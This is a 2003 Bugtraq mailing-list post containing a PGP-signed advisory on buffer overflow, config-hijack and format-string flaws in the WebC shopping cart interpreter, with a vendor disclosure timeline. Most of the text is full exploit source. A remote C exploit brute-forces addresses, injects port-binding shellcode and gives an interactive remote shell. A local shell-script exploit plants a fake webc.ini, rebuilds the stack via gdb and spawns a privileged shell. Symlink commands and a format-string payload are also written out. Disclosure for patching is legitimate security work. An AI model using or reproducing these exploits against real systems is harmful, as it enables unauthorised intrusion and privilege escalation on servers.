[29627] in bugtraq
Multiple vulnerabilities in AutomatedShops WebC shopping cart
daemon@ATHENA.MIT.EDU (Carl Livitt)
Thu Apr 3 17:44:32 2003
From: Carl Livitt <carl@learningshophull.co.uk>
Reply-To: carl@learningshophull.co.uk
To: bugtraq@securityfocus.com
Date: Thu, 3 Apr 2003 14:22:36 +0100
MIME-Version: 1.0
Content-Type: Multipart/Mixed;
boundary="Boundary-00=_cWDj+Fs2OUWFrKi"
Message-Id: <200304031422.36618.carl@learningshophull.co.uk>
--Boundary-00=_cWDj+Fs2OUWFrKi
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
See attached advisory.
--Boundary-00=_cWDj+Fs2OUWFrKi
Content-Type: application/pgp-encrypted;
name="CLIVITT-2003-3 (WebC).txt.asc"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="CLIVITT-2003-3 (WebC).txt.asc"
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
________________________________________________________________________
Security Vulnerability Advisory
________________________________________________________________________
Product: WebC shopping cart
Versions: 2.011 - 5.005 (Vulnerable to all exploits)
5.010 (vulnerable to local exploit)
Vendor: Automated Shops (http://www.automatedshops.com)
Platforms: Linux/FreeBSD/Win32
Impact: Remote code execution
Local privilege escalation
Advisory: CLIVITT-2003-3
Author: Carl Livitt (carl [at] learningshophull.co.uk)
Date: April 3rd, 2003
________________________________________________________________________
Problem Description:
WebC is a server-side scripting language that is parsed by an interpreter
called webc.cgi (webc.exe on Win32 platforms). It is commonly used in
e-commerce shopping cart applications on web servers such as Apache.
Multiple vulnerabilites (buffer overflow, format string, insecure file
handling) in webc.cgi allow remote execution of arbitrary code and local
privilege escalation.
________________________________________________________________________
Problem Details:
Multiple vulnerabilities have been identified; more may exist, but as
WebC is a closed-source commercial application it is difficult to fully
audit the software for all vulnerabilities. The identified problems are:
(1) Remotely exploitable stack overflow
(2) Insecure handling of config files
(3) Locally exploitable stack overflows
(4) Locally exploitable format string vulnerability.
This advisory will tackle each issue individually.
(1) Remotely exploitable stack overflow
The webc.cgi parser can be passed the name of a WebC script to execute
in the following manner:
http://www.vuln.com/cgi-bin/webc.cgi/name-of-script
By passing an long script name, it is possible to overflow a buffer on
the stack and overwrite the saved EIP with an arbitrary value, altering
the flow of execution and thereby running arbitrary machine code:
http://www.vuln.com/cgi-bin/webc.cgi/AAAAAAAAAAA ... ( ~ 550 A chars)
(2) Insecure handling of config files
This is not a problem in itself, but can be leveraged to enable built-in
debugging code which is vulnerable to stack-based overflows that can be
locally exploited.
By default, webc.cgi reads the configuration file from the current
working directory. By using symlink tricks, it is possible to force
webc.cgi to read an attacker-supplied configuration file. If an attacker
could create a config file that enables process debugging, (s)he could
then go on to exploit stack overflows inside the debugging code of the
webc.cgi binary.
To fool webc.cgi into reading an attacker-supplied config file, something
like the following could be used:
$ cd /tmp
$ ln -s /usr/local/apache/cgi-bin/webc.cgi webc.cgi
$ cp /usr/local/apache/cgi-bin/webc.emf .
$ echo "WEBC_NO_SECURITY_CHECK=True" > webc.ini
$ echo "HTML_TRACE_REQUEST=/tmp/.debug1" >> webc.ini
$ ./webc.cgi
In this scenario, webc.cgi would detect that it is running in the /tmp
directory and read the configuration file from there. The malicious config
file turns on debugging, which enables - amongst other things - dumping
the environment to a file.
(3) Locally exploitable stack overflows
WebC typically runs SUID root, but changes UID to a specified user before
running any vulnerable code. The UID that it changes to is based upon the
value given in the PATH_INFO environment variable. Typically, the variable
will look like this:
/~carl
or
/~foo
or
/~bin
WebC will check to make sure that PATH_INFO does not contain the 'root'
username (it won't run as root) and then changes UID to whatever user was
specified in PATH_INFO.
Alternatively, if webc.cgi is installed SUID but owned by a non-root user,
the UID of the webc.cgi process is set to that of the file owner.
After changing UID, the webc.cgi binary will then parse the environment
and - if debugging is enabled - dump a copy of the entire environment to a
file. This dump is done by copying the contents of each environment
variable to a buffer on the stack (without bounds checking) and then
writing the buffer to disk.
It is therefore possible to use any environment variable to trigger a stack
overflow, change the saved EIP and execute arbitrary machine code. If the
webc.cgi binary is SUID root, this means an attacker can gain UID of ANY
user on the system EXCEPT for root. If the webc.cgi binary is SUID as a
normal user, then an attacker can gain the privileges of that user.
It should be noted that the root check is not performed for binaries that
have the SGID bit set. It is possible for an attacker to gain root group
privileges if the webc.cgi has mode 2755 or 6755 (or other permutation such
as 6111, 2711 etc etc).
Note that debugging must be enabled in the webc.ini file for an attacker
to be able to exploit this condition. That is why (2) above is classed as
a vulnerability.
(4) Locally exploitable format string vulnerability
WebC uses a file called 'webc.emf' to store its error messages. These are
referenced by a unique ID number and are cached when webc.cgi starts up.
In the same way that webc.cgi can be fooled into reading a fake webc.ini,
it is possible to also load a fake webc.emf. By inserting format strings
into the file, it is possible to perform any one of the many format string
attacks that have been brought to light in recent years.
The format of the webc.emf file is as follows:
xxxxxxmmmmmmm (512 m's)
'xxxxxx' represents a 6-digit error code identifier. 'm' is a 512 byte
error message relevant to the error code. If the error message is less
than 512 bytes, it should be padded with NULLs (0x00). An example of a
malicious webc.emf would look something like:
020052%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. + 449 NULLs
As yet no exploits have been written for this, as a stack dump was gained
from the above example code and no further testing was seen to be needed.
_______________________________________________________________________
Vendor notification timeline:
6th Feb 2003: Initial vendor notification (via email) of remote flaw.
11th Feb 2003: Received response from vendor. A partial quote:
> Engineering has not fully completed our investigation but it is our
> conclusion at the moment after a glossary review of the code that WebC
> fully allocates all variables correctly for the maximum size and the fault
> occurs when the file name is passed to Unix
17th Feb 2003: By now, AutomatedShops are aware that it is their product
that has the problem, not 'Unix'. I notify them of the
locally exploitable overflows.
20th Feb 2003: Received a beta version of WebC containing fixes. Tests Ok.
20th Feb 2003: Find format-string vulns and notify vendor.
5th Mar 2003: Request status update from vendor. None received.
11th Mar 2003: Request status update from vendor. Explain that advisory
will be released to security community unless vendor is
not ready for release yet.
11th Mar 2003: Vendor replies asking to hold off until 31st March. They
need more time to do a complete source review.
2nd Apr 2003: Request status from vendor. None received. Checked FTP site
and new version has been ready since 17th March.
3rd Apr 2003: Released this advisory.
_______________________________________________________________________
Updated Packages:
Version 5.020 is now available from the vendor via anonymous FTP for all
platforms:
ftp://ftp.automatedshops.com/pub/webc/5.020
________________________________________________________________________
Advisory Author Details:
Email: carl at learningshophull dot co dot uk
PGP key:
- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.0 (GNU/Linux)
mQGiBD3rgEgRBACkZW1OlRo0Mn+4IZPQWynQ/H27aLysLrXk14fYQjABxhuyGfqA
N20xSXfpe236BncG0JgGZe1UYgbj1R08MAVnw6cVQGZENxSxs8hFcKClCMoWRqd1
LU/P3U1MmFJDztCZwjbg61jS0ajRjGRnzgrhxBCZDycD9onYP6BvXPuqqwCg2tPW
cJmRcLK5GggicNcV1ZQrG70D/3+FNc18TVbZ2/dUjb2Y5d9AGS86FFmQosiuHXpx
vgQgDseddEeCg/yxETqTAA+gOvY3NKm9wD6sCmakwqg1SYTpeswA8/3ceRaOjJjw
3VKPbZOSNubCl09Sgp0xqwiM6xSQxozvuQKoxB0zwvJrVEW7KIEG2aHEOocZsFYX
6IZ2A/9ePnfCOEAiTHs2+gYuoHXUs1+lXgLl1Qv+J0hHdNh50LT5aDx6ih39VXID
FiKPw3MMznDhdAOW6gOQEA3QJAEn8uQU66xGzlPEkefutWDibd+zT6O54z259xcv
9VTgiAiNThfucc+KyIA2SKro8FyEQzghZBM4v+sAnN9VZBITCbQpQ2FybCBMaXZp
dHQgPGNhcmxAbGVhcm5pbmdzaG9waHVsbC5jby51az6IXwQTEQIAHwUCPeuASAUJ
CWYBgAQLBwMCAxUCAwMWAgECHgECF4AACgkQMeVo6vqTjEsRiQCgiQaL0VSEiEMA
ZqKvsR8Ctg6y5QwAoNIOTj+CCyGXgys+3secZJLk03LMuQINBD3rgF0QCAC23Kb8
5HW36DuwtFlM1HJr2RAnbVxPlcmBWNMg+tJDFjGCVbMhiZOR7+4A+JpLNtkAJH8j
PGCexuBhlVTTgaA2uBwrIVLWDh41IvrZrhafqxhsUywtiGvd1CXD+s2hhvlMbof+
C/6cbOdriFv+qtJWOwc0i14tb2wA36k7yYdOl0X3+hBGiJyt1DnEQCnT6LanYYtF
GuvL7T8fO2LHYoTPSvMmdv6l4YSSw3WFXqoodaGeO1rah7cPeBk6+obDeRuzZiLV
hQxiB2OzNmF1P/NBNqKjUu2kgLrCV6KJtcpJLqgzYgy/p2vx6AXp4oOG74D2Xen/
/AzGO+FDCNt3Mhc7AAMFB/9DtD1Kq7F5QiYMvLYZGYA7LSiGb/oaq5wxaG5Mc09t
szqQZMDGVsyuBvJ/zI+YnsHS5yK0vnQ4vrZ2IoAyJAChAuI85yg6eh4tG93ZxhTa
xBJP9dep4H+cd/ZNawD35nMZte54TBylATezUBXSAecnCGNlY+0M9w4ijXujDAH/
2eq1S5pyc44sgUsvyXE+UVdOr4c5B5z9OxLynbpE98A11lJP/0NkRGRgVVykfdRw
8eq9DdaL9NIJyG5mkWEJLPf21vLKFxtU6eeHDVHfv33UiRPKZlFX6rddY6EaGUeS
a/HD2p/cA/7c5I/R5awZdmc9f7DZc4A6H6qfz6z8NNILiEwEGBECAAwFAj3rgF0F
CQlmAYAACgkQMeVo6vqTjEutUACghkYYFWPHLdF8IaqBRV7U086XYTsAoNVLwSAl
+Zf0MoBdqnGDxPXhfLch
=fp0k
- -----END PGP PUBLIC KEY BLOCK-----
________________________________________________________________________
Exploit Sourcecode:
I debated with myself and the vendor about releasing exploit code. They
explained that they only maintain versions >= 4 of WebC, and - as far as
I can tell - versions 2.011 through 3 are no longer supported by anybody.
After consideration, I am still a believer in full disclosure as a means
of pressurising vendors to fix buggy software. Therefore, I will release
two exploits - a remote one and a local one. Neither of them are as nasty
as they could be, but they serve to prove the concept of the security
flaws present in this software.
Firstly, an exploit that will bind a shell to a user-specified port on
the victim box:
/*
AutomatedShops WebC 2.011 -> 5.005 remote exploit.
By Carl Livitt 3/Apr/2003
** PUBLIC RELEASE VERSION - Linux targets only **
Usage:
./webc-exploit -t HOSTNAME
Brute-forces all necessary values. YMMV.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
/*
* Play with these to make it work (if it fails!)
*/
#define RET_ADDR_START 0xbfffe949
#define RET_ADDR_END 0xbffff850
#define RET_ADDR_INCR 768
#define EBP_ADDR_START 0xbfffe84c
#define EBP_ADDR_END 0xbffff852
#define EBP_ADDR_INCR 768
#define ROOT_SHELL_PORT 10000
#define COMMAND1 "id\n"
#define COMMAND2 "uname -a\n"
// don't adjust this
#define BUF_SIZE 2048
void make_shellcode(int);
void make_exploit_buffer();
void make_boundary_buffer();
char shellcode[] =
// setuid(0),setgid(0)... (just in case ;)
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
// ...fork(). Parent terminates, killing webc.cgi but
// leaving child process as a daemon...
"\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31\xdb\x31\xc0"
"\xb0\x01\xcd\x80"
// ...finally, bind shell (/bin/sh) to port 10000 (by default).
// This is a butchered version of port-binding shellcode by
// BigHawk.
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68"
"XX" // XX is port number - gets filled in later
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
"\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
"\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x51\x53\x89\xe1\xb0\x0b\xcd\x80";
char sc[BUF_SIZE*2+2];
char exploit_buf[100000];
char target[256];
int port=80;
//char orig_location[4096]="/cgi-bin/webc.cgi/g/", location[100000];
char orig_location[4096]="/cgi-bin/webc.cgi/~carl/g/", location[100000];
unsigned long RET_ADDR, EBP_ADDR;
int root_shell_port=ROOT_SHELL_PORT,padding,len, PADDING, ORDER, repeat;
char usage[]=
"Options:\n"
"-h This cruft\n"
"-t hostname Specify target host\n"
"-a n Add extra padding, start at value 'n'\n"
"-A n Add extra padding, stop at value 'n'\n\n"
"Usage:\n\n"
" ./webc-exploit -t localhost\n\n"
"Should work on any WebC installation (versions 5.001 - 5.005)\n\n";
char greeting[]=
"WebC 5.00x proof-of-concept exploit for Linux\n"
"By Carl Livitt, Feb 2003\n\n";
char thingy[]="|/-\\";
/*
* The fun begins here...
*/
main(int argc, char **argv) {
int ch, websock, shellsock,r=1;
struct hostent *host;
struct sockaddr_in saddr;
char buf[8092];
char cmd[256];
int tries=0;
struct timespec sleepTime;
fd_set rfds;
int retval, PADDING_START, PADDING_END;
int thingyCount=0;
printf("%s",greeting);
PADDING_START=550;
PADDING_END=800;
while((ch=getopt(argc,argv,"a:A:ht:p:P:l:"))!=-1) {
switch(ch) {
case 'h':
printf("%s",usage);
exit(0);
break;
case 't':
strncpy(target, optarg, sizeof(target)-1);
break;
case 'a':
PADDING_START=atoi(optarg);
break;
case 'A':
PADDING_END=atoi(optarg);
break;
default:
printf("%s", usage);
exit(0);
break;
}
}
if((host=gethostbyname(target))==NULL) {
printf("Host not found. Usage:\n%s\n", usage);
exit(1);
}
/*
* Start the bruteforce loop
*/
for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) {
for(EBP_ADDR=EBP_ADDR_START; EBP_ADDR<EBP_ADDR_END; EBP_ADDR+=EBP_ADDR_INCR) {
for(PADDING=PADDING_START;PADDING<=PADDING_END;PADDING++){
for(ORDER=0;ORDER<=1;ORDER++) {
repeat=5;
while(repeat--) {
printf("Please wait, this may take a few minutes... %c\r",thingy[thingyCount]);fflush(stdout);
/*
* Setup the exploit strings and
* HTTP headers. The Accept-Encoding header
* will hold shellcode: it will be passed
* to the environment of webshell giving us
* a reasonably predictable RET address.
*/
make_shellcode(ORDER);
make_boundary_buffer();
make_exploit_buffer();
/*
* Now connect to the host and send the exploit
* string...
*/
if((websock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
perror("socket()");
exit(1);
}
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
saddr.sin_port=htons(port);
if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
perror("connect()");
exit(1);
}
send(websock, exploit_buf, strlen(exploit_buf), 0);
len=recv(websock, buf, sizeof(buf)-1, 0);
if(len > 0) {
printf("TRYING: RET:0x%08x, EBP_ADDR:0x%08x, PADDING:%d, tries:%d, ORDER:%d, repeat:%d\n", RET_ADDR, EBP_ADDR, PADDING,tries,ORDER,repeat);
printf("%s\n\n", buf);
}
close(websock);
// increment the counters
tries++;
if((++thingyCount)==4)
thingyCount=0;
// attempt to connect to port 10000 (or other, non-default port).
// If successful, we know the exploit succeeded.
if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
perror("socket()");
exit(1);
}
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
saddr.sin_port=htons(root_shell_port);
if(connect(shellsock, (struct sockaddr *)&saddr, sizeof(saddr))==0)
goto CONNECTED; // goto? Damn amateurs...
close(shellsock);
EBP_ADDR--;
} // repeat
} // ORDER
} // PADDING
} // EBP_ADDR
} // RET_ADDR
/*
* If we get here, then the bruteforce was exhausted without a
* succesful exploit.
*/
printf("Exploit failed.\n");
exit(0);
CONNECTED:
/*
* We're now connected to the remote host. Issue
* some commands... ('id' and 'uname -a' by default)
*/
printf("\n------------------------------------\nExploit successful!\n");
printf("Explit values were:\n");
printf("RET:0x%08x, EBP_ADDR:0x%08x, PADDING:%d, tries:%d, ORDER:%d, repeat:%d\n", RET_ADDR, EBP_ADDR, PADDING,tries,ORDER,repeat);
printf("--------------------------------------\nIssuing some commands...\n\n");
if(send(shellsock, COMMAND1, strlen(COMMAND1), 0)==-1) {
perror("send()");
exit(1);
}
buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
printf("%s", buf);
send(shellsock, COMMAND2, strlen(COMMAND2), 0);
buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
printf("%s\n", buf);
printf("You are now at a bash prompt...\n");
send(shellsock, "export TERM=vt100; exec bash -i\n",strlen("export TERM=vt100; exec bash -i\n"),0);
/*
* Now let the attacker issue commands to the remote
* shell, just as if (s)he had launched 'nc host 10000'.
* Note the dodgy coding of assigning NULLs to the buf[]
* array. What would happen if recv() or read() returned -1 ?
*/
do {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(shellsock, &rfds);
retval=select(shellsock+1, &rfds, NULL, NULL, NULL);
if(retval) {
if(FD_ISSET(shellsock, &rfds)) {
buf[(r=recv(shellsock, buf, sizeof(buf)-1,0))]='\0';
printf("%s", buf);
}
if(FD_ISSET(0, &rfds)) {
buf[(r=read(0, buf, sizeof(buf)-1))]='\0';
send(shellsock, buf, strlen(buf), 0);
}
}
} while(retval && r); // loop until connection terminates
close(shellsock);
exit(0);
}
/*
* Create the HTTP request that will setup the exploit
* conditions in webshell. Shellcode is stored in the
* Accept-Encoding HTTP header.
*/
void make_exploit_buffer() {
sprintf(exploit_buf,"GET %s HTTP/1.1\n",location);
sprintf(exploit_buf,"%sHost: %s\n",exploit_buf,target);
sprintf(exploit_buf,"%sAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\n", exploit_buf);
sprintf(exploit_buf,"%sAccept-Language: en-gb, en;q=0.66, en-us;q=0.33\n", exploit_buf);
sprintf(exploit_buf,"%sAccept-Encoding: gzip, deflate, compress;q=0.9\n", exploit_buf);
sprintf(exploit_buf,"%sAccept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\n", exploit_buf);
sprintf(exploit_buf,"%sCookie: ck_ams=00000; ck_amsv=11043763620; ck_sid=3J4EUD0l4Juf1ev-06103517452.aa\n", exploit_buf);
sprintf(exploit_buf,"%sAccept-Encoding: %s\n\n",exploit_buf, sc);
//printf("%s\n\n", exploit_buf);
}
/*
* Create the buffer that overflows the stack...
*/
void make_boundary_buffer() {
int i;
char *ptr;
const int MAGIC=59;
memset(location, 0, sizeof(location));
strcpy(location, orig_location);
ptr=location;
while(*ptr)
++ptr;
i=PADDING%4;
while(i--)
*(ptr++)=0xbf;
i=MAGIC+(PADDING/4)-4;
while(i--) {
*(ptr++)=EBP_ADDR&0xff;
*(ptr++)=(EBP_ADDR>>8)&0xff;
*(ptr++)=(EBP_ADDR>>16)&0xff;
*(ptr++)=(EBP_ADDR>>24)&0xff;
}
*(ptr++)=RET_ADDR&0xff;
*(ptr++)=(RET_ADDR>>8)&0xff;
*(ptr++)=(RET_ADDR>>16)&0xff;
*(ptr++)=(RET_ADDR>>24)&0xff;
*ptr='\0';
}
/*
* Creates a buffer holding NOPs and shellcode.
*/
void make_shellcode(int order) {
char *ptr;
int i;
// Finish making shellcode buffer
memset(sc, 0x90,BUF_SIZE);
memcpy(sc + BUF_SIZE - (strlen(shellcode)+1), shellcode, strlen(shellcode));
// Fill in the port number
ptr=strstr(sc, "XX");
*(ptr++)=htons(root_shell_port)&0xff;
*ptr=(htons(root_shell_port)>>8)&0xff;
ptr=(char *)sc+BUF_SIZE;
for(i=0;i<BUF_SIZE-4;i+=4) {
switch(order) {
case 0:
*(ptr++)=RET_ADDR&0xff;
*(ptr++)=(RET_ADDR>>8)&0xff;
*(ptr++)=(RET_ADDR>>16)&0xff;
*(ptr++)=(RET_ADDR>>24)&0xff;
break;
case 1:
*(ptr++)=(RET_ADDR>>16)&0xff;
*(ptr++)=(RET_ADDR>>24)&0xff;
*(ptr++)=RET_ADDR&0xff;
*(ptr++)=(RET_ADDR>>8)&0xff;
break;
}
}
*ptr='\0';
}
// END OF REMOTE EXPLOIT
And a local one, which will spawn a shell with the privs of the user who
owns the webc.cgi binary (as long as it's not root.) This could be expanded
to gain the privs of ANY USER on the system (but not root).
Note that the stack is munged by the overwriting of EIP and needs to be
recreated exactly as it was before the overflow occurs...
#!/bin/sh
#
# WebC 5.00x (possibly earlier) local exploit
# By Carl Livitt - 3/Apr/2003
#
# ** PUBLIC RELEASE VERSION **
#
# Make sure and change the paths below to match
# the installation of the victim host.
#
# This exploit will get privs of the user WebC
# is installed SUID as (except root - WebC will
# refuse to run as root). So, if webc.cgi is
# installed SUID and owned by 'admin', you get
# 'admin' rights. If it is GUID, then you get
# that too. Handy for GUID root installs...
#
# Usage: ./webc-local-exploit.sh
#
# Note: if the debugging files debug[12]
# cannot be written, the exploit will fail.
# debug1 is for debugging as your user id,
# debug2 is for debugging as SUID user id. The
# two must be different files.
#
# Note 2: It is possible (theoritcally - I haven't
# tested it) to exploit this vuln to gain privs
# of ANY user (except root) using this vuln.
# By using a PATH_INFO value of /~username, it
# should be possible to gain 'username' privs.
#
# Note 3: When exploiting this vuln and overwriting EIP,
# the least significant byte of the data after EIP gets
# overwritten by a NULL. This is a shame, as the byte
# is needed by the exploitable function before returning.
# This causes a crash. It is therefore necessary to
# not only overwrite EIP, but reconstruct the stack after
# EIP to _exactly_ the way it was before EIP overwrite.
# To do this, the exploit uses GDB to set breakpoints,
# dump the stack, construct the exploit string containing
# the correct data from the stack and then actually run
# the exploit proper. This avoids a crash and allows a
# successful exploit to take place.
#
# Note 4: It's not just the QUERY_STRING environment
# variable that causes an overflow; any env var will do.
# I just chose QUERY_STRING arbitrarily.
#
# Final note (I promise): Debugging must be turned on in
# the WebC config file for this exploit to work. The
# overflow actually occurs in the debug routines. Luckily,
# it is possible to make WebC read any config file you like
# due to insufficient checking in the config parsing code,
# so it is possible to force debugging mode.
#
##
## CHANGE THESE TO SUIT THE WEBC INSTALLATION
##
webc_binary=/usr/local/apache/cgi-bin/webc.cgi
webc_emf=/usr/local/apache/cgi-bin/webc.emf
##
## Other things you can tinker with if you like
##
webc_exploit_dir=/tmp/.webc_exploit_dir
#############################################
## You shouldn't need to tinker below here ##
#############################################
#
# Prepare the environment for debugging...
#
export REQUEST_METHOD=GET
export REMOTE_ADDR=127.0.0.1
export PATH_INFO=a
export QUERY_STRING=`perl -e 'print "a"x1034'`
#
# Create a fake webc.ini that enables debugging. This allows us to
# exploit the overflow.
#
pushd . >& /dev/null
if [ -d "$webc_exploit_dir" ]; then rm -Rf "$webc_exploit_dir"; fi
mkdir "$webc_exploit_dir"
cd "$webc_exploit_dir"
chmod 777 .
cat << WEBCINI > webc.ini
WEBC_SU_OWNER=True
WEBC_NO_SECURITY_CHECK=True
HTML_TRACE_REQUEST=/tmp/.debug1
WEBCINI
chmod 666 webc.ini
ln -s $webc_binary webc.cgi
cp $webc_emf .
chmod 666 webc.emf
#
#Create a command file for GDB that dumps the portion of webc.cgi's
# stack that we will need to recreate after overwriting the saved EIP.
#
rm -f gdb.keys gdb.out >& /dev/null
cat << EOF > gdb.keys
break *0x805a84c
break *0x8055123
r
x/100x \$ebp
q
y
EOF
chmod 666 gdb.keys
#
# Run GDB and strip out the stack values we need
#
gdb -q ./webc.cgi --command gdb.keys &> gdb.out
cat gdb.out | grep '0x' | grep -v Breakpoint | cut -f2- -d: >gdb.out
rm /tmp/.debug1
#
# Now construct a valid C string containing the stack values in
# little-endian byte order using some of the scrattiest Perl I've
# ever written :)
#
if [ -f "addrs.txt" ]; then rm addrs.txt; fi
skip=0
for i in `cat gdb.out`; do
skip=$((skip+1))
if [ $skip -le 2 ]; then continue; fi
if [ "$i" == "0x00000000" ]; then break; fi
echo $i 2>&1 | grep -q '0x00'
if [ $? -eq 0 ]; then
perl -e "\$d=substr(\"$i\",8,2);\$c=substr(\"$i\",6,2);\$b=substr(\"$i\",4,2);\$a=substr(\"$i\",2,2);if(\$d!~/00/){print '\x'.\$d;}if(\$c!~/00/){print '\x'.\$c;}if(\$b!~/00/){print '\x'.\$b;}" >> addrs.txt
break
fi
perl -e "\$a=substr(\"$i\",2,2);\$b=substr(\"$i\",4,2);\$c=substr(\"$i\",6,2);\$d=substr(\"$i\",8,2);print '\x'.\$d.'\x'.\$c.'\x'.\$b.'\x'.\$a" >> addrs.txt
done
#
# Assign the C string to an evironment variable
#
STACK_VARS="\"`cat addrs.txt`\""
#
# Create a C program that will exploit the overflow and recreate
# the obliterated stack frames in webc.cgi
#
cat << CFILE > local.c
char shellcode[]=
"\xb9\xff\xff\xff\xff\x31\xc0\xb0\x31\xcd\x80\x89"
"\xc3\xb0\x46\xcd\x80\x31\xc0\xb0\x32\xcd\x80\x89"
"\xc3\xb0\x47\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1"
"\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
char egg[2000];
main() {
memset(egg, 0, 2000);
memset(egg, 0x90, 1039);
memcpy(egg + 1039 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
strcat(egg, "\xd0\xfa\xff\xbf"); //RET address works in almost all cases
strcat(egg, $STACK_VARS);
setenv("REQUEST_METHOD=GET");
setenv("REMOTE_ADDR=127.0.0.1");
setenv("PATH_INFO=a");
setenv("QUERY_STRING", egg, 1);
system("./webc.cgi");
}
CFILE
#
# Recreate webc.ini to use a different debug file
#
cat webc.ini|sed 's/debug1/debug2/' >webc.ini
#
# Compile and execute the exploit...
#
gcc -o local local.c
chmod 777 local
./local
#
# Clean up the /tmp dir and exit
#
cd /tmp
rm -Rf "$webc_exploit_dir"
popd >& /dev/null
exit 0
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.0 (GNU/Linux)
iD8DBQE+jDRvMeVo6vqTjEsRAnsNAJ9f9H/k3fgFUJA0iHLUMYNXuR5CnACgxPFs
6ZFsy/snUbVd5B0UnKnOC7k=
=kXF3
-----END PGP SIGNATURE-----
--Boundary-00=_cWDj+Fs2OUWFrKi--